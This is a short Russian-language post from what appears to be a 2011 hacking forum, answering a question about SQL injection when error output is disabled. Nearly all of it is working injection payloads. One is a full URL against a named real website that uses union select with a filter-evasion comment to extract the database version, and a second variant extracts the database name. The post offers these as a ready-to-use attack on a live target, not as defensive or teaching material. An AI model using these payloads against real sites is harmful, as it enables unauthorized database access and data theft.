12.05.2011, 20:08
|
|
Постоянный
Регистрация: 17.04.2011
Сообщений: 638
Провел на форуме:
149611
Репутация:
81
|
|
Сообщение от Expl0ited
Когда отключен вывод ошибки, а из-за неверно переданных данных в переменной id рушится запрос к базе, и в ответ ничего не возвращается к выводу, как думаешь возможно?
Код:
http://goldenformula.net/news.php?id=(47)and(1=0)union/*!all*/select(1),2,3,4,version(),6--+
Кстати, можно и так: +and+1=0+union+select+1,2,3,4,database(),6--
|
|
|